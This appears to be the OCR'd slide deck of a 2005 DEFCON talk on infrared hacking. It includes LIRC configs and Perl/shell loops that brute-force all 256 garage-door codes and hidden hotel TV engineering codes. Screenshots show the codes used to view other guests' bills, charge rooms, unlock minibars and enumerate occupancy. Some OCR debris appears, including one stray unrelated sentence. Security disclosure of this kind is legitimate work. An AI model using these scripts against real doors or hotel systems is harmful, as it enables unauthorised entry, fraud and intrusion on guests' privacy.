Introduction

- Major Malfunction
  - Security professional by day
  - White Hat hacker since the '70s
  - DEFCON Goon since DC5
  - Co-founder of InterFACE internet pirate radio station
Introduction

• Why Infra Red?
  • Ubiquitous - still used in modern applications
    • TV / Cable / Sat remotes
      • Master configuration / Tuning
      • Package selection
      • Central control / Billing
    • Vending machines
      • Programming / price changes
      • On / Off duty
    • Public display signs
      • Message programming
      • Master configuration
    • Garage door openers
    • Car alarm systems / Central locking
    • Air conditioning systems
Introduction

- Why MMIrDA?
  - 'Major Malfunction's Infra Red Discovery Application'
  - Built in IrDA Serial port on laptops
  - Originally intended to write a tool for FreeBSD, but found LIRC and other tools already existed under Linux
Introduction

- Why Bother?

  - IR unlikely to be replaced
    - Fit for use
    - Cheap
    - Simple
    - If it ain't broke, don't fix it!

  - Because it's there!
    - Good skills
    - Practice your art
    - Know your enemy
    - All work & no play...
Introduction

- IR is the ultimate in 'security by obscurity'
  - Invisible rays hide a multitude of sins
  - Simple codes
  - Total control
  - Inverted security model
    - End user device filters content
      - e.g. Hotel PPV TV
Simple Replay Attacks

- Record codes and retransmit
  - Early Car Alarms
  - Garage Doors
  - Toys - RoboSapien
  - Standard TVs
  - Bars, Clubs etc.
  - Clone 'special' remotes
Cloning / Replay Tools

- Learning remotes
  - Casio IR Watches
  - Apple Newton
  - OmniRemote
    - PalmOS
    - Dev library
    - http://www.pacificneotek.com/
  - Philips Pronto
    - Human readable (Hex)
    - http://www.remotecentral.com/
    - Pronto tools
BUY ME!
§WN31
Brute Force Attacks

- Record codes, analyse and infer
  - Garage Doors
  - TVs
  - Cars
Brute Force Tools

- **LIRC**
  - Visualisation tools
  - Auto learning
  - ASCII / Human readable config
  - Software only with laptop IR port
  - Linux only

- **iRTrans**
  - [http://www.irtrans.de/](http://www.irtrans.de/)
  - More powerful transmitter
  - Solves PC timing issues
  - Works with more targets
  - Serial or USB
  - Linux or Virus
Garage Door Openers

- Simple code, manually configurable

- Dipswitch with 8 on / off bits = 256 possible codes
Analyse Data Bits With XMODE2

All on

All off

1-7 off, 8 on

1 on, 2-8 off

1-3 off, 4-6 on, 7-8 off

Conclusion: 1 start bit, 8 data bits, 4 stop bits
Creating LIRC config

Learn test codes with 'irrecord':

```
begin remote
    name garage
    bits 12
    one 214 558
    zero 214 259
    toggle_bit 0

begin codes

  00 0x0000000000000000
  01 0x0000000000000001
  80 0x0000000000000080
  e3 0x00000000000000e3  # 00011100 inverted
  ff 0x00000000000000ff

end codes
end remote
```
Garage Door Openers

Now fill in the gaps

```
perl -e 'for (0..255) { printf(" \x02x\t\x02x\x016x\n",\_,\_,\_) }'
```

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>0x0000000000000000</td>
</tr>
<tr>
<td>01</td>
<td>0x0000000000000001</td>
</tr>
<tr>
<td>02</td>
<td>0x0000000000000002</td>
</tr>
<tr>
<td>03</td>
<td>0x0000000000000003</td>
</tr>
<tr>
<td>04</td>
<td>0x0000000000000004</td>
</tr>
<tr>
<td>05</td>
<td>0x0000000000000005</td>
</tr>
<tr>
<td>06</td>
<td>0x0000000000000006</td>
</tr>
<tr>
<td>07</td>
<td>0x0000000000000007</td>
</tr>
<tr>
<td>08</td>
<td>0x0000000000000008</td>
</tr>
<tr>
<td>09</td>
<td>0x0000000000000009</td>
</tr>
<tr>
<td>0a</td>
<td>0x000000000000000a</td>
</tr>
<tr>
<td>0b</td>
<td>0x000000000000000b</td>
</tr>
</tbody>
</table>
Garage Door Openers

Send all codes

```perl
for i in `perl -e 'for (0..255) { printf("%02x\n",$_) }'` ; do irsend SEND_ONCE garage $i ; done

  irsend SEND_ONCE garage 00
  irsend SEND_ONCE garage 01
  irsend SEND_ONCE garage 02
  irsend SEND_ONCE garage 03
  irsend SEND_ONCE garage 04
  irsend SEND_ONCE garage 05
  irsend SEND_ONCE garage 06
  irsend SEND_ONCE garage 07
  .
  .
  .

54 seconds to send all 256 codes
Hotel TV

- Inverted security model
  - Back-end may broadcast all content
  - TV filters content
  - TV controlled by end user
- No authentication required
- No encryption
  - Closed system
Welcome to the main menu

- TV programs
- Language selection
- Wake-up
- View messages
- View bill
- Restaurant
- Contact Numbers
- Credit Cards
- Hotel Information

Press button to select
Press back to Start screen

---

ALL SYSTEM CHANNELS ARE BUSY
PLEASE TRY AGAIN LATER

continue with...
Welcome to the main menu

- TV programs
- Language selection
- Wake-up
- View messages
- View bill
- Restaurant
- Contact Numbers
- Credit Cards
- Hotel Information

Press A back to Start screen
Press B and C to select

Thor from
2M Electronic A/S
http://www.2m.dk/
phone: (+45) 43 300 555
TV Remotes

- More complex codes (more bits)
  - Manufacturer collision avoidance
  - Groups of codes use different bits
    - Multiple device types on single remote
      - TV
      - Video
      - Sat / Cable
  - Standard Group
    - Channel select
    - Menu
    - Motion
    - Teletext
  - Extra Group
    - Alarm clock
    - Pay TV
    - Checkout
    - Hidden
TV Remotes

More complex codes (more bits)
TV Remotes – discovering hidden codes

- 14 bit code = 16,384 possible codes
  - 9 hours to test @ 2 second per code

- Reducing the search space – Standard Group

<table>
<thead>
<tr>
<th>[REMOTE]</th>
<th>[NAME]hotel</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>[COMMANDS]</th>
</tr>
</thead>
<tbody>
<tr>
<td>[0][T]0[D]11000000000000</td>
</tr>
<tr>
<td>[1][T]0[D]11000000000001</td>
</tr>
<tr>
<td>[2][T]0[D]11000000000010</td>
</tr>
<tr>
<td>[3][T]0[D]11000000000011</td>
</tr>
<tr>
<td>[4][T]0[D]11000000000100</td>
</tr>
<tr>
<td>[5][T]0[D]11000000000101</td>
</tr>
<tr>
<td>[6][T]0[D]1100000000110</td>
</tr>
<tr>
<td>[7][T]0[D]110000000111</td>
</tr>
<tr>
<td>[8][T]0[D]110000001000</td>
</tr>
<tr>
<td>[9][T]0[D]110000001001</td>
</tr>
</tbody>
</table>

Bits used so far: **xx------xxxx**
TV Remotes – discovering hidden codes

- Reducing the search space – Standard Group

[power] [T]0[D]11000000001100
[mute] [T]0[D]11000000001101
[vol+] [T]0[D]11000000010000
[vol-] [T]0[D]11000000010001
[prog+] [T]0[D]11000000100000
[prog-] [T]0[D]11000000100001
[audio] [T]0[D]11000000100011
[sleep] [T]0[D]11000000100110
[text] [T]0[D]11000000101100
[up] [T]0[D]10000000100000
[down] [T]0[D]10000000100001
[menu] [T]0[D]10000000100010
[left] [T]0[D]10000000100101
[right] [T]0[D]10000000101010
[ok] [T]0[D]10000000101111

Bits used so far: xx------xxxxxxx
TV Remotes – discovering hidden codes

- Reducing the search space – Extra Group

- [smart] [T]0[D]11000011001010
- [paytv+] [T]0[D]11000011011100
- [paytv-] [T]0[D]11000011011101
- [radio+] [T]0[D]11000011011110
- [radio-] [T]0[D]11000011011111
- [info+] [T]0[D]10000011001101
- [info-] [T]0[D]10000011001110
- [message] [T]0[D]10000011001010
- [alarmon] [T]0[D]10000011101000
- [alarmoff] [T]0[D]10000011101001

Bits used so far: xx----xxxxxxxx

First 2 bits used
4 bits unknown
Main code in last 8 bits
TV Remotes – Discovering Hidden Codes

- Reducing the search space – Eliminate unused bits
- Toggle single bit on a standard command

[power][T]0[D]11000000001100 - Original
[power][T]0[D]0100000001100 - Command OK
[power][T]0[D]1000000001100 - Command fails
[power][T]0[D]1100000001100 - Command OK
[power][T]0[D]1101000001100 - Command OK
[power][T]0[D]1100100001100 - Command OK
[power][T]0[D]11000100001100 - Command fails

Assumption: bits 1, 3, 4, 5 ignored
10 bits = 1,024 possible codes = 2,048 seconds = 35 mins
TV Remotes – discovering hidden codes

- Create new configs

  perl -e 'for (0..255) { printf(" [\%03d][T]0[D]100000%s\n",
  \$_,unpack("B8",pack("i",\$_+0))) }' > hotel1.rem

  perl -e 'for (0..255) { printf(" [\%03d][T]0[D]100001%s\n",
  \$_,unpack("B8",pack("i",\$_+0))) }' > hotel2.rem

  perl -e 'for (0..255) { printf(" [\%03d][T]0[D]110000%s\n",
  \$_,unpack("B8",pack("i",\$_+0))) }' > hotel3.rem

  perl -e 'for (0..255) { printf(" [\%03d][T]0[D]110001%s\n",
  \$_,unpack("B8",pack("i",\$_+0))) }' > hotel4.rem

- Manual test / observation

  for i in `perl -e 'for (0..255) { printf("%03d\n",\$_) }'` ; do echo -n "$i..." ; irtrans localhost hotel1 $i ; echo "done" ; sleep 2 ; done

- Rinse, repeat
TV Remotes – discovering hidden codes

- Profit!

```text
[012][T]0[D]10000100110000
[075][T]0[D]10000111011010
[122][T]0[D]11000100111110
# engineering
[130][T]0[D]11000110111110
# engineering
[199][T]0[D]11000101111111
# engineering
[200][T]0[D]11000101101011
# disable computer
[206][T]0[D]11000101111010
# housekeeping
[221][T]0[D]11000101111101
# housekeeping
[244][T]0[D]11000111001111
# engineering
[249][T]0[D]11000111010110
# engineering
[251][T]0[D]10000111010010
# bingo! 0wn3d!
[254][T]0[D]11000111101110
```

# housekeeping
TV Remotes

- Hidden codes
  - Hotel internal (housekeeping) daily tasks
    - Minibar billing
    - Room cleaning / status reports
  - Extras (engineering) one-off tasks
    - Pay TV config
    - Debugging
      - Cable codes
      - Signal strength
      - Port settings
  - Accessory / Service (De)Activation
Hotel TV – New Capabilities

- Reconfigure TV
  - Change messages
  - Assign to another room
  - Assign new free channels
  - Find new channels
Hollywood Movies
Adult Features
Internet
Music
PC Games
Guest Services
Press MENU To Continue
Welcome Message

Line 1: OWN30 BY

Line 2: MAJOR MALFUNCTION

Press INFO on your TV remote control

mtn.co.uk
OWNED BY MAJOR MALFUNCTION
Welcome to Marriott Hotels & Resorts

Press MENU for entertainment options
Welcome To Hilton

OUN3D BY MAJOR MAL
2005

PRESS MENU FOR ALL VIDEO & GUEST SERVICES

CHANNEL FOR TELEVISION STATIONS

ONCOMMAND™
Hotel TV – New Capabilities

- Reconfigure TV
- Change channel filtering
Hotel TV – New Capabilities

- View Back-End Systems
SYSTEM STATUS

MODE     COMMERCIAL
CHANNEL  TV 60 (ANTENNA)
DCM      ON
CODES    192 48 13 202 43
         4 192 0 0 0
SIGNAL   TUNED
OP HRS   12DEh
ERRORS   0 0 0 0 0

TEAM AMERICA
WORLD POLICE

L9USITV
2.51
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>mtiltree-30 version</td>
<td>4.8.4</td>
</tr>
<tr>
<td>File</td>
<td>c:\metit\software\mtiltree.exe (1,320,960 bytes)</td>
</tr>
<tr>
<td>Created</td>
<td>Tuesday April 27, 2004 5:43:58 PM</td>
</tr>
<tr>
<td>Started</td>
<td>Friday July 23, 2004 5:27:50 PM</td>
</tr>
<tr>
<td>Modulator</td>
<td>Fixed, Segment 3</td>
</tr>
<tr>
<td>TV Channel</td>
<td>70</td>
</tr>
<tr>
<td>Port</td>
<td>7003</td>
</tr>
<tr>
<td>Audio Channel</td>
<td>1</td>
</tr>
<tr>
<td>Screen pos</td>
<td>0 0</td>
</tr>
<tr>
<td>Slide file</td>
<td>\seachange_tr30\c_drive$\metit\tree</td>
</tr>
<tr>
<td>Start time</td>
<td>7/23/04 17:27:50</td>
</tr>
<tr>
<td>Last session</td>
<td>7/24/04 15:13:28</td>
</tr>
<tr>
<td>Total sessions</td>
<td>64</td>
</tr>
<tr>
<td>Alives sent</td>
<td>9420  Free RAM 4,096</td>
</tr>
<tr>
<td>Running on</td>
<td>SEACHANGE_TR30, IP 10.1.1.130</td>
</tr>
</tbody>
</table>
HTTP/1.0 404 Object Not Found
You are not authorized to view this page

You might not have permission to view this directory or page using the credentials you supplied.

If you believe you should be able to view this directory or page, please try to contact the Web site by using any e-mail address or phone number that may be listed on the 192.0.1.112 home page.

HTTP Error 403 - Forbidden
Internet Explorer
The page cannot be found

The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.

Please try the following:

- If you typed the page address in the Address bar, make sure that it is spelled correctly.
- Open the 192.0.1.192 home page, and then look for links to the information you want.
- Click the Back button to try another link.
- Click Search to look for information on the Internet.

HTTP 404 - file not found
Internet Explorer
The Web Server Designed For Windows NT Server

Why not add the latest & efficient tools to your Internet Information Server?

Microsoft Internet Information Server (IIS)

IIS makes it easier to do business with internal or external customers around the world. To learn more about how Internet Information Server will help you in your business, browse the IIS online documentation.

Try the key-phrases above to see some examples of the content you can publish with Microsoft Internet Information Server. To learn more about Microsoft products that you can use to create great-looking Web pages, visit the Microsoft Web site for information about Microsoft FrontPage and Internet Assistant for Microsoft Office. Microsoft FrontPage is also included on the Windows NT Server CD-ROM.

Administrative

Microsoft On-line
Internet Service Manager

Welcome to the Microsoft Internet Information Server (IIS) Web-based administration tool. You can use this tool to administer or view your Microsoft Internet Information Server from remote locations. In order to log on successfully, please ensure that your Windows NT user account is a member of the Windows NT Administrators group. Note that it is not possible to start or stop IIS services with this Web administration tool.
<table>
<thead>
<tr>
<th>Software</th>
<th>Remarks</th>
</tr>
</thead>
<tbody>
<tr>
<td>GUI Server Software Setup</td>
<td>GUI Server Software Setup / Upgrade. Shut down all running software before running this! (right click on each icon - bottom right - and select Close or Exit).</td>
</tr>
<tr>
<td>pcAnywhere Basic Setup</td>
<td>English setup, version 8.01, for GUI Server</td>
</tr>
<tr>
<td>pcAnywhere Host Setup</td>
<td>Install on Proxy and Clients. ATTENTION: Do NOT start this Setup on the GUI Server. Copy this directory to the \InetPub\wwwroot\client folder. Then you can FTP it from the client.</td>
</tr>
<tr>
<td>Winzip Setup</td>
<td>Not legal but useful.</td>
</tr>
<tr>
<td>Content</td>
<td>Use the Prodac GUI Copy icon on the desktop...</td>
</tr>
</tbody>
</table>

© Copyright Granada Business Technology & Prodac.
Hotel TV – New Capabilities

- Change Room status
  - MiniBar
  - Cleaning
Room status

Dirty
Clean
Inspected

Warning:
Only for hotel staff!

Press OK to select
Press OK to send to computer
Hotel TV – New Capabilities

- Unimplemented Facilities

- Standard vendor feature (toggled off)
Sponsored by Audi
For further information about Audi cars press 1

Internet
Press to visit the Web
1. Ascari
2. The Guardian
3. Today's Weather
4. Surf the Web
0. Main Menu

Press OK to play clip
Hotel TV – New Capabilities

- Control other physical devices
- Mini Bar lock
Hotel TV – New Capabilities

- View Other Users' Activities
Please wait - we are looking for a free channel!
<table>
<thead>
<tr>
<th>CHANNEL</th>
<th>Subject</th>
<th>TV100</th>
</tr>
</thead>
<tbody>
<tr>
<td>CHANNEL RING</td>
<td>Deleted</td>
<td></td>
</tr>
<tr>
<td>LABEL</td>
<td>RSC logo</td>
<td></td>
</tr>
<tr>
<td>VIDEO BLANK</td>
<td>OFF</td>
<td></td>
</tr>
<tr>
<td>AUDIO BLANK</td>
<td>OFF</td>
<td></td>
</tr>
<tr>
<td>AUTO PROGRAM BLANK</td>
<td></td>
<td></td>
</tr>
<tr>
<td>EXIT</td>
<td>Delivery Notification: Message</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Delivery Notification: Delivery</td>
<td></td>
</tr>
<tr>
<td>Postmaster@no-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery Notification: Message</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery Notification: Delivery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Proposal</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Proposal</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Proposal</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Proposal</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
I believe this makes sense in order to meet the EDT's requirements, as stated. However, it will be critical to determine very early on whether or not consultation is part of the assessment with the communication effectiveness. This is important for the communication effectiveness.
Hotel TV – New Capabilities

- Assign to another room
  - View folio
- Charge goods & services
Looking Up Your Name. Please Stand By ...
Welcome To
Hilton
TU ADDRESS IS FAA 4151

PRESS MENU FOR ALL VIDEO & GUEST SERVICES
CHANNEL 7 FOR TELEVISION SERVICES
Welcome To Hilton

TV ADDRESS TV 88K M 162

PRESS MENU FOR ALL VIDEO & GUEST SERVICES

CHANNEL 16 FOR TELEVISION STATIONS

ONCOMMAND™
<table>
<thead>
<tr>
<th>Date</th>
<th>Description</th>
<th>Amount</th>
</tr>
</thead>
<tbody>
<tr>
<td>04/25</td>
<td>*Room Charge</td>
<td>£87.00</td>
</tr>
<tr>
<td>04/25</td>
<td>**-Room Charge</td>
<td>£75.23</td>
</tr>
<tr>
<td>04/26</td>
<td>*Room Charge</td>
<td>£87.00</td>
</tr>
<tr>
<td>04/26</td>
<td>**-Room Charge</td>
<td>£151.23</td>
</tr>
<tr>
<td>04/26</td>
<td>-Room Service</td>
<td>£136.95</td>
</tr>
<tr>
<td>04/26</td>
<td>-Room Service</td>
<td>£3.50</td>
</tr>
<tr>
<td>04/27</td>
<td>*Room Charge</td>
<td>£87.00</td>
</tr>
<tr>
<td>04/27</td>
<td>**-Room Charge</td>
<td>£151.23</td>
</tr>
</tbody>
</table>

10: MORE

*Return to Previous Menu*
Enter 4 digit wakeup time (Example: 0630)
First two digits = hour (00-23)
Second two digits = minute (00-59)

Wake Up Time

0530

Is this time correct?
10 Yes
menu No
Guest Checkout Successful.
Thank You and Come Again

Hilton

Press the menu Button On Your
Hotel TV – New Capabilities

- Automated room enumeration
  - Digital camera
  - Simple shell script
    - irtrans - send addressing commands
    - gphoto2 – capture image
    - Increment room number
  - Thumbnail webpage
    - cthumb
Hilton, Paris - May 2005

Room 1229
Room 1230
Room 1231
Room 1232
Room 1233
Room 1234
Room 1235
Room 1236
Hotel TV – New Capabilities

- Room enumeration
  - %age occupancy
  - Who's where
  - Who's eating, drinking & viewing what
  - For how long
Hotel TV – Pay Per View

- True Movies On Demand
  - Controller requests movie to start & assigns channel
- Cyclic or Fixed Start Times
  - Controller retunes TV
  - Controller routes selected channel to AV
  - Controller switches off blocking signal
Sorry, at the moment no connection to computer !!!

You can switch-over from program to program using the arrow keys A-Z.
AUTO-PROGRAMMING ACTIVE

PRESS ANY KEY TO STOP
CHANNEL INSTALLATION

CHANNEL  TV100
CHANNEL RING  DELETED
LABEL  (PRON )
VIDEO BLANK  OFF
AUDIO BLANK  OFF
AUTO PROGRAM  OFF
EXIT

PHILIPS
Welcome To Barker Chan 18 of 4 -

PRESS MENU FOR ALL VIDEO & GUEST SERVICES
CHANNEL ▼ ▲ FOR TELEVISION STATIONS

ONCOMMAND™
Welcome To

BARKER CHAN
IS 42

PRESS MENU
FOR ALL VIDEO & GUEST SERVICES

CHANNEL TV FOR TELEVISION STATIONS

ONCOMMAND™
Future Projects

- Car Alarm / Central Locking
  - Moving towards RF
  - Likely to be carrier technology change only
  - Rolling codes
- Hotel Safes
- TVB-Gone
Car Alarm / Central Locking

- Simple reset sequence
Hotel Safes

- InfraRed Dongle
  - Master programming
  - Master Unlock / Reset
NEW!

TV B-Gone

Universal Remote Control

Patent Pending

Turns Off Virtually Any Television!

DOES NOT HARM TELEVISIONS

Safety

Effective

Fun

Batteries Included!
TURNS OFF VIRTUALLY ANY TELEVISION!

DIRECTIONS:
1. Point at TV
2. Press button once
   Keep pointing until TV turns off
   (may take up to 69 seconds)

DOES NOT HARM TELEVISIONS

- Safe
- Effective
- FUN!

BATTERIES INCLUDED!
Questions / Feedback – DEFCON 2005

- Contact:
  - majormal@pirate-radio.org
  - http://www.alcrypto.co.uk
Thank You